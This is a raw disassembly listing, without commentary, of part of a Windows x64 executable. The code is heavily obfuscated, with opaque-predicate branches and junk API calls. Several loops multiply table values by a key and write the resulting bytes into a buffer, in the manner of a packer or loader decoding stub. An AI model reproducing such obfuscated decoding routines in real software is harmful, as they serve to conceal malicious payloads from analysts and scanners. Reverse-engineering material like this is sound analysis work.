add dword [rbp - 0x14], 0x2bb
mov eax, dword [0x140269018]
cmp dword [0x140269088], eax
jb 0x14001ac4c
mov eax, dword [0x14026910c]
add eax, 0xd899b554
mov dword [0x140269074], eax
add dword [rbp + 0x40], 0xd1a
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffff19c
cmp eax, ecx
jle 0x14001adcd
mov eax, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff66f
cmp eax, ecx
jl 0x14001adcd
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0x8b0
cmp eax, ecx
jl 0x14001adcd
mov rdx, qword [section..data]
lea rax, [0x140377ce0]
mov r10, r14
cmp dword [rdx + 0xf8], 0x12201
cmovae rax, qword [0x1402690d8]
mov qword [0x1402690d8], rax
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [rdx + 0xe4]
sub eax, dword [rdx + 0x68]
mov ecx, dword [0x140269158]
imul r9d, dword [0x140269074]
add ecx, eax
mov dword [0x140269158], ecx
mov eax, dword [rdx + 0x18]
xor eax, ecx
xor eax, 0xfffe73a2
mov dword [rdx + 0x18], eax
mov r8d, r9d
movsxd rdx, dword [0x140269098]
mov rax, qword [section..data]
mov dword [0x1402690f4], r14d
shr r8d, 0x10
mov rcx, qword [rax + 0xd8]
mov byte [rdx + rcx], r8b
mov edx, r9d
mov eax, dword [0x140269098]
add eax, r15d
shr edx, 8
mov dword [0x140269098], eax
movsxd rcx, eax
mov rax, qword [0x1402690e8]
mov byte [rcx + rax], dl
mov r8d, dword [0x140269098]
mov eax, dword [0x140269148]
add r8d, r15d
mov edx, dword [0x140269084]
add eax, 0xfffffffe
add edx, eax
mov dword [0x140269098], r8d
mov eax, dword [0x140269018]
imul eax, edx
movsxd rcx, r8d
mov dword [0x140269018], eax
mov rax, qword [0x1402690e8]
mov byte [rcx + rax], r9b
add dword [0x140269098], r15d
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x60]
xor eax, dword [0x14026904c]
sub eax, 0x10add7
add dword [rcx + 0x50], eax
mov eax, dword [0x140269128]
mov rdx, qword [section..data]
add eax, 0xfffffffb
mov ecx, dword [rdx + 0xf8]
add ecx, eax
mov dword [0x140269128], ecx
cmp r10, 0x1f7f70
jge 0x14001adcd
mov rax, qword [0x1402690d8]
jmp 0x14001acbf
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff8ed
cmp eax, ecx
jle 0x14001adf3
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x967
cmp eax, ecx
jg 0x14001adf3
mov eax, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1085
cmp eax, ecx
jl 0x14001ae28
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff3cf
cmp eax, ecx
jle 0x14001ae28
add dword [rbp - 0x20], 0x8bd
xor dword [rbp - 0x18], 0x1776
add dword [rbp + 0x40], 0xaf
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff1b4
cmp eax, ecx
jl 0x14001b346
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0x5fe
cmp eax, ecx
jge 0x14001b346
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
xor ecx, 0x1298
cmp eax, ecx
jl 0x14001b346
mov rdx, qword [section..data]
mov ecx, dword [rdx + 0xe4]
add ecx, dword [rdx + 8]
xor ecx, 0x1a02bd
cmp dword [0x14026915c], 0x138ef
mov dword [0x140269074], ecx
jb 0x14001aea2
mov eax, dword [0x140269034]
sub eax, dword [rdx + 0x18]
add eax, 0x3d096535
add eax, ecx
mov dword [0x140269074], eax
mov eax, dword [rdx + 0x74]
lea rcx, [0x1402bbbc0]
cmp dword [0x1402690cc], eax
cmovb rcx, qword [0x1402690d8]
mov qword [0x1402690d8], rcx
add dword [rbp - 0x20], 0xfffff46f
jmp 0x14001b346
mov ecx, dword [0x140269028]
mov eax, dword [rbp + 0x40]
and ecx, 0x1b0c
cmp eax, ecx
jne 0x14001b08c
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
imul ecx, eax
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jl 0x14001b02a
mov ecx, dword [rbp - 0x20]
mov rax, qword [section..data]
add ecx, 0x832
cmp dword [rax + 0x20], ecx
ja 0x14001afec
mov eax, dword [rbp - 0x10]
mov ecx, dword [0x14026910c]
sub ecx, dword [0x14026914c]
add eax, ecx
cmp dword [0x140269064], eax
jne 0x14001afc7
mov eax, dword [rbp - 0x18]
sub eax, 0xdc1
xor eax, 0x1c0d
cmp dword [0x1402690c0], eax
jb 0x14001afaa
mov ebx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
sub eax, r10d
jmp 0x14001afa1
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x10]
or ecx, eax
mov rax, qword [section..data]
xor dword [rax + 0xe0], ecx
mov rax, qword [section..data]
mov ecx, dword [rbp - 0x10]
imul ecx, dword [rax + 0xf4]
mov eax, dword [rbp - 8]
imul ecx, eax
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [rbp - 8]
add ebx, 2
mov rcx, qword [section..data]
and eax, dword [rcx + 0x168]
or dword [0x140269100], eax
mov eax, dword [rbp - 0x10]
sub eax, 0x832
cmp ebx, eax
je 0x14001af4e
jmp 0x14001b346
mov eax, dword [rbp - 8]
mov ecx, dword [0x14026909c]
xor eax, dword [0x140269070]
imul ecx, eax
mov dword [0x14026909c], ecx
jmp 0x14001b346
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
imul ecx, eax
mov eax, dword [rbp - 0x20]
sub eax, 0xb6a
movsxd rdx, eax
or ecx, dword [0x14026907c]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
jmp 0x14001b346
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0xc]
imul ecx, eax
mov eax, dword [rbp - 0x20]
or eax, ecx
cmp dword [0x14026905c], eax
jb 0x14001b346
mov eax, dword [rbp - 0x14]
mov ecx, dword [0x140269100]
sub ecx, eax
mov eax, dword [rbp + 0x40]
xor ecx, r13d
cmp eax, ecx
jne 0x14001b346
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14001b346
mov ebx, dword [rbp + 0x40]
jmp 0x14001b075
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
add ecx, 0xffffeaf2
cmp eax, ecx
je 0x14001b072
mov rax, qword [section..data]
mov ecx, dword [rax + 0x74]
and ecx, dword [0x140269138]
cmp dword [0x1402690d0], ecx
jb 0x14001b072
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
mov edx, dword [0x140269040]
sub ecx, dword [0x14026910c]
and rdx, rax
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
add ebx, 4
mov eax, dword [rbp - 0x14]
add eax, dword [0x140269084]
or eax, 0x1945
cmp ebx, eax
ja 0x14001b02f
jmp 0x14001b346
mov eax, dword [rbp - 0x18]
mov ecx, dword [0x1402690e0]
xor ecx, dword [0x140269140]
or eax, ecx
cmp dword [0x140269064], eax
jbe 0x14001b346
mov ecx, dword [0x14026908c]
mov eax, dword [rbp + 0x40]
or ecx, 0x9d9
cmp eax, ecx
jae 0x14001b346
mov ecx, dword [0x140269114]
imul ecx, dword [0x14026904c]
mov eax, dword [rbp + 0x40]
or eax, ecx
sub dword [rbp + 0x40], eax
jmp 0x14001b346
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x14]
add ecx, eax
mov ebx, dword [0x140269084]
cmp ebx, ecx
jl 0x14001b346
mov r12d, 0x9d9
mov ecx, dword [0x140269084]
add ecx, 0xfffff7ce
add ecx, dword [0x1402690f4]
cmp dword [0x140269088], ecx
jae 0x14001b328
mov eax, dword [0x140269064]
imul eax, dword [0x140269110]
and eax, edi
mov dword [0x140269018], eax
mov eax, dword [rbp - 0x10]
mov ecx, dword [0x140269028]
sub ecx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x10]
mov edx, 0x3416
mov rcx, qword [section..data]
mov r9d, 0x1b7c
mov r8d, 0x3517
mov qword [rsp + 0x20], 0x24cd
and eax, dword [rcx + 0x68]
lea ecx, [rax + 0x1945]
mov rax, qword [section..data]
xor dword [rax + 0x12c], ecx
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
xor ecx, eax
or ecx, dword [0x140269094]
sub dword [rbp - 0x1c], ecx
mov ecx, 0x21b3
imul eax, dword [0x14026909c], 0xf05
and eax, 0x150e
or dword [0x14026904c], eax
call fcn.140019070
mov r9d, dword [0x14026904c]
sub r9d, dword [0x140269108]
mov edx, dword [0x1402690b0]
mov r10d, dword [0x140269040]
xor rdx, 0x481
mov ecx, dword [0x140269134]
or r10d, r12d
imul r9d, dword [0x14026915c]
or rdx, rdi
add ecx, dword [0x14026915c]
mov word [0x14057ee5c], ax
mov eax, dword [0x140269158]
imul eax, dword [0x140269084]
add dword [0x140269064], eax
mov rax, qword [section..data]
mov r8d, dword [rax + 0x1c]
mov eax, dword [rbp - 0x14]
sub r8d, 0xdc1
sub eax, dword [0x140269124]
xor r8d, 0x13a4
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r10d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movsxd rcx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor rcx, r13
add eax, r12d
movsxd rdx, eax
movsxd rax, dword [rbp - 0x1c]
movsxd r8, dword [rbp - 0x20]
xor r8, rax
mov rax, qword [section..data]
mov r9d, dword [rax + 0xe4]
mov eax, dword [rbp - 0x18]
and rax, r9
mov r9d, dword [rbp + 0x40]
or r9, rax
call qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp + 0x40]
add eax, r13d
imul ecx, eax
sub dword [0x140269078], ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [rbp - 0x10]
mov ecx, dword [0x140269034]
and eax, 0x1c0d
imul ecx, eax
mov dword [0x140269034], ecx
mov ecx, dword [0x1402690b8]
sub ecx, dword [0x140269148]
sub ecx, 0x1b0c
mov eax, dword [rbp - 0x14]
mov r8d, dword [0x1402690c0]
sub r8d, eax
mov rax, qword [section..data]
mov edx, dword [rax + 0xf0]
mov eax, dword [rbp - 0x10]
imul edx, r8d
xor eax, 0x1b0c
mov r8d, dword [rbp - 0x14]
imul r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
or eax, ecx
add eax, 0xfffff496
add dword [rbp - 0x18], eax
imul eax, dword [0x140269104], 0x1952
mov ecx, dword [0x140269084]
or rcx, 0x1095
mov dword [0x140269034], eax
mov eax, dword [rbp - 0x10]
imul eax, dword [0x14026904c]
imul edx, eax, 0x1ab7
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x14001b333
mov eax, dword [rbp - 0x1c]
xor eax, 0x1896
or dword [rbp - 0x10], eax
mov ecx, dword [rbp - 0x14]
add ebx, 3
mov eax, dword [rbp - 0x14]
add ecx, eax
cmp ebx, ecx
jge 0x14001b0f6
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffffc77
cmp eax, ecx
jg 0x14001bdc5
mov ecx, dword [rbp - 0x18]
mov r12d, 0xa32
mov eax, dword [rbp - 0x20]
add ecx, 0xcf6
cmp eax, ecx
jg 0x14001b940
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 8]
add ecx, 0xfffff901
cmp eax, ecx
jle 0x14001b758
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
add ecx, 0x5e3
cmp eax, ecx
je 0x14001b62d
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x11c0
cmp eax, ecx
jl 0x14001b571
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffff324
cmp eax, ecx
je 0x14001b571
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
add ecx, 0x5e3
cmp eax, ecx
je 0x14001b501
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 8]
add ecx, 0xfffff30a
cmp eax, ecx
je 0x14001b501
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x1c]
add ecx, 0xfffffde9
cmp eax, ecx
jg 0x14001b501
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
xor ecx, 0xc4b
cmp eax, ecx
jle 0x14001b501
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp + 0x40]
xor ecx, 0xa56
cmp eax, ecx
je 0x14001b501
mov rdx, qword [section..data]
mov r9, r14
mov ecx, dword [rdx + 0x16c]
mov eax, dword [0x140269140]
add eax, 0xfffffffc
imul ecx, eax
mov dword [rdx + 0x16c], ecx
mov rax, qword [0x1402690d8]
movsxd rcx, dword [0x140269098]
mov edx, dword [r9 + rax]
add r9, 4
imul edx, dword [0x140269074]
mov rax, qword [0x1402690e8]
mov byte [rcx + rax], dl
add dword [0x140269098], r15d
mov r8, qword [section..data]
mov eax, dword [0x140269088]
add eax, 0xff9fa1fc
or dword [0x140269100], eax
mov ecx, dword [r8 + 0x24]
xor ecx, dword [0x140269018]
mov eax, dword [0x140269118]
add eax, 0x1ec942
add ecx, eax
mov eax, 0x15493e
mov dword [0x140269118], ecx
sub eax, dword [r8 + 0x24]
sub eax, dword [0x140269018]
add dword [r8 + 0x148], eax
mov rdx, qword [section..data]
mov eax, dword [rdx + 0x28]
sub eax, 0x2d10bc
xor dword [0x140269100], eax
mov eax, dword [0x140269064]
dec eax
xor dword [0x140269158], eax
mov eax, esi
sub eax, dword [0x140269018]
add dword [0x140269078], eax
cmp r9, 0xb8620
jl 0x14001b432
mov eax, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
xor ecx, 0x7f3
cmp eax, ecx
je 0x14001b571
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x10]
xor ecx, 0x2c4
cmp eax, ecx
jl 0x14001b571
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1aef
cmp eax, ecx
jg 0x14001b571
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffffe8e
cmp eax, ecx
je 0x14001b571
cmp dword [0x14026902c], 0x17ebd
jbe 0x14001b564
mov eax, dword [0x140269128]
add eax, 0xe6b
mov dword [0x140269074], eax
add dword [rbp - 0x18], 0xfffffda9
mov eax, dword [rbp + 0x40]
mov dword [rbp + 0x40], eax
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x10]
xor ecx, 0x11cc
cmp eax, ecx
jge 0x14001b5d0
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x10]
add ecx, 0x156
cmp eax, ecx
je 0x14001b940
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x14]
add ecx, 0x55
cmp eax, ecx
jle 0x14001b940
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1377
cmp eax, ecx
jle 0x14001b940
mov eax, 0x1513a6
sub eax, dword [0x140269060]
add dword [0x140269074], eax
jmp 0x14001b940
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0xc]
imul ecx, eax
mov eax, dword [rbp + 0x40]
xor ecx, 0x1952
cmp eax, ecx
jl 0x14001b940
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
or ecx, eax
and ecx, dword [0x1402690f4]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jb 0x14001b940
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff627
cmp eax, ecx
jge 0x14001b940
mov eax, dword [rbp - 0x10]
sub eax, 0x1ab7
xor eax, dword [0x140269104]
mov dword [rbp - 0x14], eax
jmp 0x14001b940
mov eax, dword [rbp - 0x14]
or eax, dword [0x1402690c8]
mov ecx, dword [rbp - 0x20]
or ecx, eax
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jb 0x14001b940
mov eax, dword [rbp - 0x18]
mov ecx, dword [0x140269078]
sub ecx, eax
mov eax, dword [rbp - 8]
imul eax, ecx
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
imul eax, dword [0x14026917c]
mov dword [0x14026914c], eax
mov eax, dword [rbp - 0x1c]
or eax, dword [0x14026913c]
and eax, dword [0x1402690f0]
or dword [0x140269134], eax
movsxd rax, dword [rbp - 0xc]
movsxd rcx, dword [rbp - 0x18]
or rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [rbp - 8]
mov rax, qword [section..data]
or ecx, dword [rax + 0x54]
mov eax, dword [rbp - 0x10]
add eax, ecx
add eax, dword [0x14026917c]
mov dword [rbp - 0x10], eax
mov ecx, dword [rbp + 0x40]
mov edx, dword [rbp - 0x20]
mov eax, dword [0x140269030]
add ecx, dword [0x140269070]
or eax, edi
add edx, eax
mov rax, qword [section..data]
imul r9d, dword [rax + 0x3c], 0x1c0d
mov r8d, dword [rax + 0x48]
mov eax, dword [0x140269094]
add r8d, 0x832
and r9, rax
mov eax, dword [rbp - 0x10]
mov ebx, dword [rbp - 0x10]
imul eax, dword [0x140269088]
mov r11d, dword [rbp - 0x10]
and ebx, eax
mov eax, dword [rbp - 0x1c]
mov r10d, dword [rbp - 8]
and r11d, eax
mov eax, dword [rbp - 0xc]
imul r10d, dword [0x1402690d0]
imul eax, r10d
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rax, qword [section..data]
mov ecx, dword [0x140269084]
mov r8d, dword [rbp - 0x18]
or ecx, 0x150e
mov edx, dword [rax + 8]
mov eax, dword [0x140269030]
sub edx, dword [0x140269018]
and r8, rax
call qword [sym.imp.KERNEL32.dll_OpenFileMappingA]
jmp 0x14001b940
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
and ecx, eax
mov eax, dword [rbp + 0x40]
and ecx, r12d
cmp eax, ecx
jl 0x14001b940
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp + 0x40]
or ecx, 0x1952
sub ecx, dword [0x14026903c]
cmp eax, ecx
jae 0x14001b915
mov eax, dword [rbp - 0x10]
mov r8d, 0x1b0c
sub eax, r8d
cmp dword [0x1402690d0], eax
ja 0x14001b8ee
mov ecx, dword [0x140269084]
add ecx, dword [0x140269120]
mov eax, dword [rbp + 0x40]
imul edx, ecx, 0x1c0d
cmp eax, edx
je 0x14001b940
movsxd rcx, dword [rbp - 0x10]
xor rcx, r8
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov rax, qword [section..data]
mov ecx, dword [0x140269144]
sub ecx, dword [rax + 0x84]
mov eax, dword [rbp - 0x1c]
add dword [0x140269028], ecx
mov ecx, dword [0x1402690b0]
sub ecx, eax
mov eax, dword [rbp - 0xc]
xor eax, ecx
sub dword [rbp - 8], eax
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 8]
add ecx, eax
xor dword [rbp - 0x1c], ecx
mov eax, dword [rbp - 0xc]
mov rcx, qword [section..data]
mov edx, dword [rcx + 0x148]
sub edx, eax
mov eax, dword [rbp - 0x1c]
or eax, edx
or dword [rbp + 0x40], eax
mov ecx, dword [rbp - 0x14]
mov eax, dword [0x1402690d0]
add eax, 0x13a4
add ecx, eax
or dword [rbp - 0x20], ecx
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
and ecx, eax
xor dword [rbp - 0x1c], ecx
mov ecx, dword [rbp - 0x18]
mov esi, dword [rbp - 0x18]
mov edx, dword [rbp - 0x10]
sub ecx, dword [0x140269018]
sub edx, 0x627
mov r9d, dword [0x140269148]
or rsi, rcx
mov ecx, dword [rbp - 0x1c]
and edx, 0xb6a
mov eax, dword [rbp - 0x18]
and ecx, eax
mov edi, dword [rbp - 0x18]
mov r10d, dword [rbp - 0x20]
or edi, ecx
mov eax, dword [rbp - 0x18]
mov rcx, rsi
imul ebx, dword [0x140269018], 0x1952
add eax, r10d
mov r11d, dword [0x140269114]
mov r8d, dword [0x140269100]
and r11d, 0x172e
imul r9d, dword [0x14026910c]
xor r8d, 0x1c0d
add r8d, dword [0x1402690c4]
cdqe
sub ebx, 0xb7c
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [0x140269134]
mov eax, dword [0x140269038]
or eax, dword [0x140269158]
sub ecx, eax
mov eax, dword [rbp - 0x18]
sub ecx, eax
mov dword [0x140269134], ecx
jmp 0x14001b940
mov edx, dword [0x140269134]
jmp 0x14001b906
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
xor ecx, eax
or ecx, edi
sub dword [rbp - 0xc], ecx
add edx, 3
mov eax, dword [rbp - 0x14]
add eax, dword [0x140269148]
cmp edx, eax
je 0x14001b8f6
jmp 0x14001b940
mov rax, qword [section..data]
mov ecx, dword [rax + 0x70]
jmp 0x14001b933
mov eax, dword [rbp - 0x18]
xor eax, dword [0x140269018]
add dword [0x14026909c], eax
add ecx, 2
mov eax, dword [rbp - 0xc]
xor eax, dword [0x140269038]
cmp ecx, eax
jbe 0x14001b921
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
add ecx, 0x156
cmp eax, ecx
je 0x14001bcac
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 8]
add ecx, 0xfffffe6f
cmp eax, ecx
jle 0x14001bab7
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 8]
add ecx, 0xf4d
cmp eax, ecx
jg 0x14001b9e6
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff488
cmp eax, ecx
je 0x14001b9e6
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0xc]
add ecx, 0xd2c
cmp eax, ecx
je 0x14001b9e6
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff66e
cmp eax, ecx
je 0x14001b9e6
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
cmp eax, ecx
je 0x14001b9e6
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffff66e
cmp eax, ecx
jl 0x14001b9e6
mov ecx, dword [rbp - 8]
lea rdx, [0x140282c20]
mov eax, dword [rbp - 0x1c]
add ecx, 0xfffffe9b
cmp eax, ecx
cmove rdx, qword [0x1402690d8]
mov qword [0x1402690d8], rdx
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp + 0x40]
xor ecx, 0x11dd
cmp eax, ecx
jle 0x14001bab7
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0xc]
add ecx, 0xfffffde9
cmp eax, ecx
je 0x14001ba7b
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff901
cmp eax, ecx
jg 0x14001bab7
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0xfffff237
cmp eax, ecx
jl 0x14001bab7
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 8]
add ecx, 0xffffef22
cmp eax, ecx
jle 0x14001bab7
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffffeff
cmp eax, ecx
jge 0x14001bab7
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffff0c5
cmp eax, ecx
je 0x14001bab7
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
xor ecx, 0x1484
cmp eax, ecx
jl 0x14001bab7
xor dword [rbp - 0xc], 0xfb9
jmp 0x14001bab7
mov rax, qword [section..data]
mov ecx, dword [rax + 0xf0]
add ecx, r12d
cmp dword [0x140269064], ecx
jb 0x14001bab7
mov ecx, dword [rbp + 0x40]
mov edx, dword [rbp - 0x10]
add ecx, 0xfffff627
mov eax, dword [rbp + 0x40]
add edx, ecx
cmp eax, edx
jne 0x14001bab7
mov eax, dword [rbp + 0x40]
imul ecx, eax, 0x1945
xor dword [0x1402690b4], ecx
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x18]
add ecx, 0xfffffeff
cmp eax, ecx
jge 0x14001bdc5
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp + 0x40]
xor ecx, 0xfb9
cmp eax, ecx
je 0x14001bdc5
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x221
cmp eax, ecx
jg 0x14001bc6f
mov r10, r14
mov eax, dword [0x14026904c]
mov ecx, dword [0x14026915c]
add eax, 0xfff169b6
mov rdx, qword [section..data]
add ecx, eax
add dword [rdx + 0x28], ecx
mov rax, qword [0x1402690d8]
mov rcx, qword [section..data]
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [0x14026904c]
add eax, 0xffef5229
xor dword [rcx + 0x3c], eax
imul r9d, dword [0x140269074]
mov rdx, qword [section..data]
mov eax, dword [0x14026915c]
sub eax, dword [0x140269108]
add eax, 0x21792
or dword [0x140269148], eax
mov ecx, dword [rdx + 0x24]
mov eax, dword [0x14026903c]
add eax, 0x4c0ae
add ecx, eax
mov eax, dword [0x14026909c]
add dword [0x1402690e0], eax
mov eax, dword [0x140269078]
mov dword [0x14026903c], ecx
add eax, 0xffeaddd3
mov ecx, dword [0x140269060]
add ecx, eax
add dword [rdx + 0x118], ecx
mov edx, r9d
movsxd rcx, dword [0x140269098]
mov rax, qword [0x1402690e8]
shr edx, 0x18
mov byte [rcx + rax], dl
mov edx, r9d
mov r8d, dword [0x140269098]
mov eax, dword [0x140269108]
add r8d, r15d
mov ecx, dword [0x140269158]
add eax, 0x18c5e
add ecx, eax
mov dword [0x140269098], r8d
mov rax, qword [0x1402690e8]
mov dword [0x140269108], ecx
shr edx, 0x10
movsxd rcx, r8d
mov byte [rcx + rax], dl
mov edx, r9d
mov eax, dword [0x140269098]
add eax, r15d
shr edx, 8
mov dword [0x140269098], eax
movsxd rcx, eax
mov rax, qword [0x1402690e8]
mov byte [rcx + rax], dl
add dword [0x140269098], r15d
mov ecx, dword [0x140269148]
mov rdx, qword [section..data]
mov eax, dword [rdx + 0x2c]
add eax, r15d
imul ecx, eax
mov eax, 0x605e09
mov dword [0x140269148], ecx
sub eax, dword [rdx + 0x78]
sub eax, dword [0x140269140]
add dword [rdx + 0x2c], eax
movsxd rcx, dword [0x140269098]
mov rax, qword [0x1402690e8]
mov byte [rcx + rax], r9b
add dword [0x140269098], r15d
cmp r10, 0x3750c
jl 0x14001baf6
xor dword [rbp - 0x18], 0x1298
mov eax, dword [0x140269100]
mov rcx, qword [section..data]
add eax, 0x28528633
mov dword [0x140269074], eax
mov eax, dword [0x140269108]
cmp dword [rcx + 0xa0], eax
ja 0x14001bdc5
lea rax, [0x14001f250]
mov qword [0x1402690d8], rax
jmp 0x14001bdc5
mov eax, dword [rbp - 0x14]
mov ebx, 0x9d9
imul eax, dword [0x140269104]
imul eax, eax, 0x1ab7
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x20]
or eax, dword [0x140269058]
xor eax, ebx
sub dword [rbp + 0x40], eax
mov eax, dword [rbp + 0x40]
mov edx, dword [rbp - 0x20]
mov ecx, dword [0x140269038]
xor ecx, dword [0x14026910c]
xor eax, ecx
mov dword [0x140269038], eax
mov eax, dword [rbp + 0x40]
mov rcx, qword [section..data]
xor eax, edx
add eax, 0x1b0c
add dword [rcx + 0x28], eax
movsxd rax, dword [rbp - 0x1c]
movsxd rcx, dword [rbp - 0x18]
mov edx, dword [rbp - 8]
and rcx, rax
and edx, dword [0x14026915c]
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov ecx, dword [0x140269034]
sub ecx, dword [0x140269088]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov eax, dword [rbp - 0xc]
mov ecx, dword [rbp + 0x40]
and eax, ebx
mov edx, dword [rbp - 0x20]
mov r8d, dword [rbp - 8]
or dword [0x14026915c], eax
mov eax, dword [0x140269038]
mov r9d, dword [0x14026913c]
or rcx, rax
mov eax, dword [rbp - 0x18]
mov r10d, dword [rbp - 0x20]
imul r9d, dword [0x140269140]
sub r8d, dword [0x1402690c0]
or edx, dword [0x140269178]
or r8d, r12d
sub r9d, eax
mov eax, dword [rbp + 0x40]
xor r10d, eax
mov rax, qword [section..data]
sub r10d, dword [rax + 0x3c]
mov eax, r10d
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
mov r8d, dword [0x140269140]
xor ecx, dword [0x14026902c]
xor r8d, 0x19f2
imul edx, dword [0x140269038], 0x19f2
sub ecx, eax
add r8d, dword [0x1402690c0]
